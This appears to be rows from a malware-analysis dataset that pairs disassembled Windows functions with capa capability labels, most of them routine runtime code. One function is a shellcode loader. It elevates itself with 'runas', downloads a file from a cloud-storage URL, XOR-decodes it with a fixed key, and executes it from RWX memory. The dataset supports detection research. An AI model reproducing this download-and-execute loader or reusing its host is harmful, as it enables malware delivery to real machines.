joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b2d0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140015b70
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140015b70
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000b340
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1401020a4]
mov rbx, rcx
test esi, esi
jle 0x14000b470
mov rax, qword [0x1401020a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000b38b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000b415
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000b370
mov rcx, rbx
call fcn.14000bdb0
mov rdi, rax
test rax, rax
je 0x14000b492
mov rax, qword [0x1401020a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000bef0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1401020a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000b477
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000b40e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14000b420
add dword [0x1401020a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1401020a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000b40e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000b2d0
nop dword [rax]
xor esi, esi
jmp 0x14000b398
mov rax, qword [0x1401020a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000b2d0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000b2d0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000ba20
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140102100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1401020e0]
test rbx, rbx
je 0x14000ba7c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000ba73
test eax, eax
jne 0x14000ba73
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000ba58
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000bdb0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400d8ef0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000bdd0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000bdd8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000bdd0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000be2d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000be24
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000bdd0
add rax, 0x28
cmp rax, r9
jne 0x14000be10
xor eax, eax
ret

Function at 0x14000be30
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400d8ef0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000be4f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000be58
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000be4f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000bef0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400d8ef0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000bf0f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000bf18
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14007b370
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x14007b3b8
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x14007b38a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400c5550
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400ca1e0]
jmp 0x14000cc10

Function at 0x1400c5560
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400ca1e0]
jmp 0x14000cc10
Function at 0x18067c058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.18067c1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x18067c089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18067c06f
add dl, dl
jne 0x18067c096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18067c0f6
xor eax, eax
add dl, dl
jne 0x18067c0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18067c1ad
add dl, dl
jne 0x18067c0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18067c0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18067c0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18067c0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x18067c0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18067c07e
mov eax, 1
add dl, dl
jne 0x18067c106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18067c113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18067c0fb
sub eax, ebx
mov ebx, 1
jne 0x18067c14c
mov ecx, 1
add dl, dl
jne 0x18067c12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18067c13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18067c123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18067c07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x18067c168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18067c175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18067c15d
cmp eax, 0x7d00
jae 0x18067c19b
cmp eax, 0x500
jb 0x18067c196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18067c07e
cmp eax, 0x7f
ja 0x18067c19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18067c07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x18067c1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18067c07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400012c0
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea r8d, [rbx + 0x20]
lea rcx, [rsp + 0x6c]
mov r9d, 0x220
mov dl, 2
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x68], ebx
mov dword [rsp + 0x6c], ebx
mov dword [rsp + 0x20], ebx
mov word [rsp + 0x70], 0x500
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000135f
mov rdx, qword [rsp + 0x60]
lea r8, [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rsp + 0x68]
test eax, eax
cmove ecx, ebx
mov dword [rsp + 0x68], ecx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140002e40
add rsp, 0x80
pop rbx
ret

Function at 0x140001380
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x1b8
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400012c0
test eax, eax
jne 0x140001425
lea rdx, [rsp + 0x90]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001425
xor edx, edx
lea rcx, [rsp + 0x24]
mov dword [rsp + 0x20], 0x70
lea r8d, [rdx + 0x6c]
call fcn.1400065e0
lea rax, str.runas
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x50], 1
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001445
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
je 0x14000143d
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.140002e40
add rsp, 0x1b8
ret
xor ecx, ecx
call fcn.1400044e4
int3
xor ecx, ecx
call fcn.1400044e4
int3
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Check if file exists
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
push rdi
sub rsp, 0x90
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x80], rax
movdqa xmm0, xmmword [0x14001a740]
movdqa xmm1, xmmword [0x14001a720]
mov dword [rsp + 0x70], 0x2f6d6f63
mov dword [rsp + 0x74], 0x2e373331
mov dword [rsp + 0x78], 0x747874
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm0, xmmword [0x14001a730]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm1, xmmword [str.ngzhou.myqcloud.fqweqwe137_1328290234.cos.ap_guahttps:__wwwasdasp]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm1
call fcn.140001380
lea rcx, str.urlmon.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x1400016a8
lea rdx, str.URLDownloadToFileA
mov rcx, rax
mov qword [rsp + 0xb0], rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x140001507
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400016a0
lea rcx, str.5.txt
mov qword [rsp + 0xa0], rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ebx, ebx
cmp eax, 0xffffffff
jne 0x14000153f
lea r8, str.5.txt
lea rdx, [rsp + 0x30]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call rsi
test eax, eax
js 0x140001565
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14001a438]
lea rcx, str.5.txt
call fcn.140003710
mov rsi, rax
test rax, rax
jne 0x140001573
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140001698
xor edx, edx
mov rcx, rax
mov qword [rsp + 0xa8], rbp
lea r8d, [rdx + 2]
mov qword [rsp + 0xb8], r14
call fcn.140003e50
mov rcx, rsi
call fcn.140003d4c
xor r8d, r8d
xor edx, edx
mov rcx, rsi
movsxd rbp, eax
call fcn.140003e50
mov rcx, rbp
call fcn.140003418
mov r14, rax
test rax, rax
jne 0x1400015c6
mov rcx, rsi
call fcn.140003f9c
jmp 0x14000167f
mov r9, rsi
mov r8, rbp
mov edx, 1
mov rcx, rax
call fcn.14000393c
mov rcx, rsi
call fcn.140003f9c
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbp, rbp
je 0x140001642
movabs r8, 0x2492492492492493
lea r9, str.XDCY1XD
nop dword [rax]
nop word [rax + rax]
mov rcx, rbx
mov rax, r8
mul rbx
mov rax, rbx
inc rbx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rbx + r14 - 1], al
cmp rbx, rbp
jb 0x140001610
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbp
mov rdx, r14
mov rcx, rax
mov rbx, rax
call fcn.140002e70
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
mov rcx, r14
call fcn.1400033d8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbp, qword [rsp + 0xa8]
mov r14, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0xb0]
mov eax, 1
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140002e40
add rsp, 0x90
pop rdi
ret
Function at 0x1400016d0
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x1f8]
sub rsp, 0x2f0
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
mov qword [rsp + 0x60], 7
xor edi, edi
mov qword [rsp + 0x58], rdi
mov word [rsp + 0x48], di
lea r8d, [rdi + 0x1a]
lea rdx, str.C:WindowsWebWallpaper
lea rcx, [rsp + 0x48]
call fcn.140002170
nop
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
lea rdx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001771
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Failed_to_find_the_first_file_in_the_directory
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x14000182c
test byte [rbp - 0x70], 0x10
jne 0x14000180d
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
cmp word [rbp - 0x44], 0
jne 0x14000179a
mov r8, rdi
jmp 0x1400017ad
lea rax, [rbp - 0x44]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x1400017a2
lea rdx, [rbp - 0x44]
lea rcx, [rsp + 0x20]
call fcn.140002170
nop
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.140002800
nop
cmp qword [rsp + 0x38], 8
jb 0x1400017de
mov rcx, qword [rsp + 0x20]
call fcn.140003a30
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
lea rdx, [rsp + 0x68]
call fcn.140001c10
nop
cmp qword [rbp - 0x80], 8
jb 0x14000180d
mov rcx, qword [rsp + 0x68]
call fcn.140003a30
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140001771
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
cmp qword [rsp + 0x60], 8
jb 0x14000183e
mov rcx, qword [rsp + 0x48]
call fcn.140003a30
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140002e40
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret

Function at 0x1400044e4
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000434c
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1403367e0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1403367f0]
mov dword [rax], 1
mov rax, qword [0x140336800]
mov dword [rax], 1
mov rax, qword [0x140336770]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1403367d0]
mov dword [0x14035b00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1403368a0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140336880]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140336720]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140006120
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aeskeygenassist xmm0, xmmword [rdx], 2
movdqa xmmword [rcx], xmm0
ret
Function at 0x14003a100
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x14003a180
cmp r11, r10
ja 0x14003a1f7
cmp r10, rdx
ja 0x14003a209
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x14003a182
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x14003a160
jmp 0x14003a1e4
ja 0x14003a18a
mov r11, r10
cmp rax, r8
jne 0x14003a12e
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x14003a1c0
mov rdi, r8
sub ecx, edx
jns 0x14003a1db
jmp 0x14003a1e6
cmp r8, rsi
je 0x14003a218
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x14003a1e6
xor al, 1
cmp rdi, rsi
jne 0x14003a1a0
jmp 0x14003a1e6
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call sym.core::slice::index::slice_index_order_fail::hb6f495100651f9f8
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call sym.core::slice::index::slice_end_index_len_fail::h829dac2b01cd87d1
lea rcx, str.librarycore_srcunicodeprintable.rs
call sym.core::option::unwrap_failed::hec1ab125882a5e1e
int3
Function at 0x14003b700
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x48
movdqa xmmword [rsp + 0x30], xmm9
movdqa xmmword [rsp + 0x20], xmm8
movdqa xmmword [rsp + 0x10], xmm7
movdqa xmmword [rsp], xmm6
cmp r8, 0x80
jb 0x14003b91d
movdqu xmm4, xmmword [rdx]
movdqu xmm3, xmmword [rdx + 0x10]
movdqu xmm2, xmmword [rdx + 0x20]
movdqu xmm1, xmmword [rdx + 0x30]
not ecx
movd xmm0, ecx
pxor xmm0, xmm4
add rdx, 0x40
add r8, 0xffffffffffffffc0
movabs rax, 0x154442bd4
movq xmm4, rax
movdqa xmm5, xmmword [0x1402b3e70]
nop word cs:[rax + rax]
movdqa xmm6, xmm0
pclmulqdq xmm6, xmm4, 0
movdqa xmm7, xmm0
pclmulqdq xmm7, xmm5, 0x11
movdqu xmm0, xmmword [rdx]
pxor xmm0, xmm6
pxor xmm0, xmm7
movdqu xmm6, xmmword [rdx + 0x10]
movdqu xmm7, xmmword [rdx + 0x20]
movdqu xmm8, xmmword [rdx + 0x30]
movdqa xmm9, xmm3
pclmulqdq xmm9, xmm4, 0
pxor xmm9, xmm6
pclmulqdq xmm3, xmm5, 0x11
pxor xmm3, xmm9
movdqa xmm6, xmm2
pclmulqdq xmm6, xmm4, 0
pxor xmm6, xmm7
pclmulqdq xmm2, xmm5, 0x11
pxor xmm2, xmm6
movdqa xmm6, xmm1
pclmulqdq xmm6, xmm4, 0
pxor xmm6, xmm8
pclmulqdq xmm1, xmm5, 0x11
pxor xmm1, xmm6
add rdx, 0x40
add r8, 0xffffffffffffffc0
cmp r8, 0x3f
ja 0x14003b770
movabs rax, 0x1751997d0
movq xmm4, rax
movdqa xmm6, xmm0
pclmulqdq xmm6, xmm4, 0
movdqa xmm5, xmmword [0x1402b3e80]
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm6
pxor xmm0, xmm3
movdqa xmm3, xmm0
pclmulqdq xmm3, xmm4, 0
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm3
pxor xmm0, xmm2
movdqa xmm2, xmm0
pclmulqdq xmm2, xmm4, 0
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm2
pxor xmm0, xmm1
cmp r8, 0x10
jb 0x14003b89a
nop word cs:[rax + rax]
movdqu xmm1, xmmword [rdx]
add r8, 0xfffffffffffffff0
add rdx, 0x10
movdqa xmm2, xmm0
pclmulqdq xmm2, xmm4, 0
pxor xmm2, xmm1
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm2
cmp r8, 0xf
ja 0x14003b870
movdqa xmm1, xmmword [0x1402b3e80]
pclmulqdq xmm1, xmm0, 1
psrldq xmm0, 8
pxor xmm0, xmm1
pxor xmm1, xmm1
pxor xmm2, xmm2
pblendw xmm2, xmm0, 3
movabs rax, 0x163cd6124
movq xmm3, rax
pclmulqdq xmm3, xmm2, 0
psrldq xmm0, 4
pxor xmm0, xmm3
pxor xmm2, xmm2
pblendw xmm2, xmm0, 3
pclmulqdq xmm2, xmmword [0x1402b3e90], 0x10
pblendw xmm2, xmm1, 0xfc
movabs rax, 0x1db710641
movq xmm1, rax
pclmulqdq xmm1, xmm2, 0
pxor xmm1, xmm0
pextrd ecx, xmm1, 1
not ecx
test r8, r8
je 0x14003b93b
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
add rsp, 0x48
jmp sym.crc32fast::baseline::update_fast_16::h61b53f25de17ace2
mov eax, ecx
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x1400561f0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
movaps xmmword [rsp + 0x30], xmm6
mov ecx, dword [0x1402ae110]
test ecx, ecx
je 0x14005621c
dec ecx
call sub.kernel32.dll_TlsGetValue
cmp rax, 1
jbe 0x140056235
add rax, 8
jmp 0x1400562d0
lea rcx, sym.std::sys::thread_local::os_local::destroy_value::h11c5ff2709c8df73
call sym.std::sys::pal::windows::thread_local_key::StaticKey::init::h3a56cd97d8b2cb6b
mov ecx, eax
call sub.kernel32.dll_TlsGetValue
cmp rax, 1
ja 0x140056213
je 0x1400562ce
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x20]
mov edx, 0x10
call sub.bcryptprimitives.dll_ProcessPrng
movaps xmm6, xmmword [rsp + 0x20]
movzx eax, byte [0x14035b110]
mov edx, 0x18
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x1400562fd
mov rbx, rax
mov rsi, rax
lea rax, sym.std::sys::thread_local::os_local::destroy_value::h11c5ff2709c8df73
mov qword [rsi], rax
movups xmmword [rsi + 8], xmm6
mov ecx, dword [0x1402ae110]
test ecx, ecx
je 0x1400562dd
dec ecx
call sub.kernel32.dll_TlsGetValue
mov rdi, rax
mov ecx, dword [0x1402ae110]
test ecx, ecx
je 0x1400562ed
dec ecx
add rbx, 8
mov rdx, rsi
call fcn.1401380cc
test rdi, rdi
je 0x1400562c9
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rdi
call fcn.140137fbc
mov rax, rbx
jmp 0x1400562d0
xor eax, eax
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
lea rcx, sym.std::sys::thread_local::os_local::destroy_value::h11c5ff2709c8df73
call sym.std::sys::pal::windows::thread_local_key::StaticKey::init::h3a56cd97d8b2cb6b
mov ecx, eax
jmp 0x140056293
lea rcx, sym.std::sys::thread_local::os_local::destroy_value::h11c5ff2709c8df73
call sym.std::sys::pal::windows::thread_local_key::StaticKey::init::h3a56cd97d8b2cb6b
mov ecx, eax
jmp 0x1400562a7
mov ecx, 8
mov edx, 0x18
call sym.alloc::alloc::handle_alloc_error::h033f15fcf3b32b44
int3